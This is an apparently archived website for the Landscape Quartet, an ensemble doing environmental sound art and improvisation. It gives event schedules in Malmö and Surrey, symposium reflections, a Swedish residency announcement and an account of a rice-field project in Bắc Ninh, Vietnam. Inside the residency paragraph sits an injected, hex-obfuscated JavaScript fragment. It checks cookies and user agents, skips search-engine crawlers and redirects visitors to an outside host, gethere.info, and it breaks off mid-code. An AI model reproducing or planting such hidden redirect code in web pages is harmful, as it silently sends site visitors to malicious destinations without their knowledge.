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The Landscape Quartet: free improv and new environmental sound art from the UK and Sweden @ InterArts Centre, Malmö, 11th-12th April 2014 (scroll down for exhibition and performance times).

Landscape Quartet brings together four musicians/sound artists to explore “natural” environments as constituent elements in new sound art. Bennett Hogg, Matthew Sansom, Stefan Östersjö and Sabine Vogel combine field recording, improvisation, live electronics, and video, in work drawn from residencies in (mostly) remote locations in England and Sweden.

The installations and performances at Malmö’s InterArts Centre present the results of three Swedish residencies alongside work produced over the past two years in Northumberland, England, including a recent project at Allenheads Contemporary Arts. The work of the quartet tries to avoid objectifying the landscape, or “representing” place, instead striving to establish a living relationship with the sites and acknowledging that we are living elements in a much bigger picture, an ecosystem of energies, movements, sounds, and communications across and between species.

In Malmö, this involves filling the different spaces of the building with new versions of works originally produced out in the natural environment – the tranquil forests and lakes around Kalv in central Sweden, the breathtaking openness of the Baltic Sea environment of Klagshamns Udde near Malmö, and the disconcerting collision of industry and wilderness in the northern Swedish city of Gavle. In addition to work produced in Sweden there are also video and performance works produced during a residency at Allenheads Contemporary Arts in January of this year, as well as other pieces made in Northumberland.

Katharine Norman – “As I got to know a little of the work of the quartet’s individual members I realized that I was also getting to understand a little more about how personal stories and sensibilities inform practice, and decisions about practice, and in particular the deep connections we are capable of making between self (one’s personal ‘landscape’, as it were) and how we engage with landscape”.

Dallas Simpson – “An inspiring event offering many insights into the evolving individual methodologies and collective collaborations of The Landscape Quartet”.

James Wyness – “. . . so much of the Landscape Quartet’s work leaks out at the sides and can’t be contained within an orthodox musical discourse. This is its strength”.

Exhibition/Installation opening times:
Friday 11th and Saturday 12th April, 2014, 13:00-22:00

There will be fixed-media audio-visual works in the cafe and multiple spaces at the Inter Arts Center with spontaneous live performances and interventions throughout the day

Performance events:
Friday 11th April @ 17:00 “Tracks and Traces” – Travelling in sound between the urban and the natural at the industrial edges in Gävle.

Friday 11th April @ 19:00 “Where Rivers Meet” – A sequence of sonic art works responding to elemental forces of wind and water in Allenheads, Northumberland during the Winter.

Sat 12th April @ 17:00 “Landscape Quartet” – multi-channel sound works using live improvisation and field recordings from wild locations in England and Sweden.

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Aeolian improvisation next to the sea in Souther Sweden. Flute and violin played by the wind, but allowing for gestural playing by moving the instruments against and through the wind. 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An inspiring event offering many insights into the evolving individual methodologies and collective collaborations of The Landscape Quartet. Much of their work parallels my own, there are, inevitably, many points of convergence and departure. In my reflections here I would like to share some insights I have gained over the years that may be relevant to the evolution of their own practice as interrogators and performers of the environment, I offer, with respect, a number of extended techniques, both thoughts and practice, derived from my own experience, which may be useful.

As conscious beings we have custodianship of the planet. Yet it is our material father and mother, it sustains and feeds us, waters us, provides us with energy, materials for tools and dwellings, digests our waste, and our pollution – up to a point. It exists harmonically in a myriad of states in complex dynamic rhythms, vibrations and motions operating on wide-ranging time scales and including living and non-living participants. It is ancient, it is the inheritance of hydrogen and vast cosmic forces. And its musicality can be observed, felt and heard in every moment of our existence in any and in every environment, and at every scale from cosmic to atomic… Read the rest of this entry »

When does environment become landscape, and vice versa, at what point do they interleave, and what are the useful distinctions to be drawn? Where is performance, and when does documentation become art? When does ‘working together’ as an ensemble start? — is it at the point where two people walk together in silence through local woods, deep in individual thought; or when they work together to construct an instrument for one of them to play; or when they stand, knee deep, in either a rushing river or summer corn, enticing violins or flute to respond sonically to the elements; or when they gather in an anonymous, well-worn university performance space (part studio, part concert hall) to talk, share, and present their work in progress? Memories and personal histories are so embedded in the places that matter, or come to matter, that making ensemble work from response to landscape surely involves addressing a human counterpoint of different sensibilities and contexts, and means working to address this landscape, too? Read the rest of this entry »

University of Surrey, 12th and 13th October 2013. Studio 1, PATS Building

We will be presenting new works from our various Swedish residency projects, as well as new duo collaborations, and with presentations on the work from our special guests, Katharine Norman and Max Eastley.

Saturday 12th October
10:00-12:30 – presentations and discussions on work in progress
14:00-17:00 – presentations and discussions on work in progress
19:30-21:00 – concert by LQ and guests

Sunday 13th October
10:00-12:30 – presentations and responses
14:00-16:00 – responses and general discussion

All attendees are encouraged to participate with questions and comments and critical reflections. All events are free. Please confirm attendance ideally by Oct 1 to Matthew Sansom: m.sansom[at]surrey.ac.uk

Next symposium will be at Newcastle University on 25th and 26th of January, 2014.

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Reflections on/ during/ since the Landscape Quartet Symposium. Culture Lab, Newcastle University, 4-5th July 2013. Sally Jane Norman

The following text draws largely on our lively in situ discussions, recapitulating valuable points made by the other participants (the four Quartet members, and other critical friends Rachael Hales, Peter Nelson, James Wyness). It also allows me to clarify notions “brought to the table” individually, as exchanges roved productively across subjective engagements with creative practice and thinking, and cognate theoretical references.

Reflection on notions of place, physical wayfaring and wayfinding, sonic identities and kinship, both upstream and during the Symposium, brought to mind my homeland Aotearoa New Zealand, where a sense of letting the sea- or land-scape voice its songs aligns with the Polynesian belief of belonging to the environment, instead of believing that the environment belongs to us. We’re aware of having washed up as terrestrials in tribal canoes or sailing ships some time during the last millenium, if not during our 500 million year old prehistory when plants and animals began to migrate from the sea to rivers and land. Maori mythology recounts the battle of the sea god Tangaroa, who had to call his children to the ocean depths during a storm wrought by Tawhiri Matea, god of the winds and technology. Regularly since, Tangaroa hurls his waves against the land to try and destroy the realm of Tane, god of the forest, but once the storm has calmed, Tane’s earth children take to the waters to fish up and feast on the children of Tangaroa.

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A fairly detailed paper with audio and video examples dealing with some of my solo work that I did in developing the Landscape Quartet idea.

the violin, the river, and me . . . . . Hz no. 18, May 2013

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The Swedish national organisation for new music promoters, RANK, has invited Landscape Quartet to do three residency projects in Sweden. The first residency will take place already in August, at the KALV Festival. At Kalv, the quartet will explore pilgrim paths in the area and create a series of stations for a walking audience. The pilgrim walk will take place on August 11. More info will be found at http://kalvfestival.se/

Image

We all hope that the weather will not repeat the endless rains in Northumbria, however, also Sweden can be rainy in summer…

The quartet will also collaborate with C/Y Contemporary in Malmö and IDKA in Gävle and create further site specific work in nature in Sweden.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Manzi’s is a gallery and cafe in the center of Hanoi.

One of the shared projects within the Landscape Quartet is the idea of (re)visiting one’s own homeland, the landscape of one’s childhood. A dialectic take on this is Stefan Östersjö’s project involving also the Vietnamese dan tranh player Nguyễn Thanh Thủy. The idea is to create a dialogue about homelands, about old,  new and shared sites. For one thing, this would be a way to evade simplistic perspectives on identity and nationality. On April 27 Nguyễn Thanh Thủy and Stefan Östersjö went to the Bắc Ninh Province as a reconnaisance trip to her homeland. In Bắc Ninh, both of her parents grew up in the same small village of Ngang Nội, famed for Quan Họ the folk music tradition of love songs that emerge from the province and has had some of its most famous tradition bearers specifically in this little village.

Otherwise, the region is characterized by rice fields and small green mountains. In April, all the rice fields are also green and not particularly wet. In autumn, when we return to do the project, the fields will be more wet and the rice bigger and soon ready for harvest.

Ricefield and mountain

We went out from Hanoi on Thủy’s bike, filming the entire journey back to her homeland. Hence, Thủy arrived in her uncle’s house looking like as if she was trying the latest fashion from Europe (?):

Thuy with camera

Well in the village we started out by looking at an idea that Thủy had already before the trip of hanging a đàn tranh upside down over the field to capture the sound and movement of the wind in the rice. Walking out along the river by the fields nearest to the village we also discussed another idea of making sculptures with guitar and dan tranh in bamboo trees. But the main topic was now the rice fields. We were quite convinced that the sonorities inside the instrument would be rather complex since the 19 strings of the đàn tranh provides 38 pitches by the division of the bridge into two halves. Hence, using also a guitar would not add much in terms of pitch with its 6 open strings… Still we decided to borrow a đàn tranh and make a small test later in the day. The main discussion about this idea concerned how to hang the instrument in the field: should we adapt the method developed by Bennett and Stefan with the violin-guitar tree sculptures and suspend the đàn tranh on long strings from trees? Should we even attempt at connecting it to a second instrument to get similar sympathetic resonance in the two instruments? Obviously, if we were to manage to hang it on long strings, the wind over the fields would could create harmonics in the suspending strings also. In the afternoon we shot some short video tests with a dan tranh in a field. Although limited by the lack of microphones to put inside the instrument, we were quite optimistic about the minimal addition that the movement of the rice would make to the soundscape of birds and frogs that normally add to the sound of the wind through the rice in these fields.

The soundscape also has many traces from everyday life in the nearest villages. We went up on one of the mountains and found that many sounds travel all the way up to the top. But most importantly, when we started following the small paths leading up the mountain we realized something that Thủy was not quite aware of herself: every path would lead to a graveyard or a single tomb. In fact, this particular mountain was filled with tombs all the way up to the top. The ‘meaning’ of the paths on these mountains became very obvious and coloured our further exploration of them.

We went up on two mountains (the second perhaps more beautiful than the first) but never quite figured out exactly what to think of doing in these funeral and pastoral sites. However, the paths and the function of the mountains make them a prioritized target for the project. Also, the graveyards relate to another topic of this homelands project which is the relation to spirits that Thuy feels to be so much stronger in Vietnam than in Europe. Visiting a European graveyard has no relation to encounters with spirits or ghosts for her, while in her childhood just as today, many sites, for instance in her homeland, have this specific meaning.

leaves and path

Up on the second mountain we heard funeral music from one of the nearby villages. It seems to be part of the nature of this project to host a series of different man-made sounds that come and go in the soundscape.

The trees all around in the area are very young. Historically, this province afforded many big trees that were used to make huge pieces of furniture (like beds) from a single piece of wood. Now all those trees are gone, replaced by more quickly growing, lighter kinds.second mountain sunshine in trees

The homelands project in Bắc Ninh is planned to happen on site in the beginning of September, resulting in an exhibition at the alternative gallery space in the centre of Hanoi called Manzi’s.

Manzi's is a gallery and cafe in the center of Hanoi.

 

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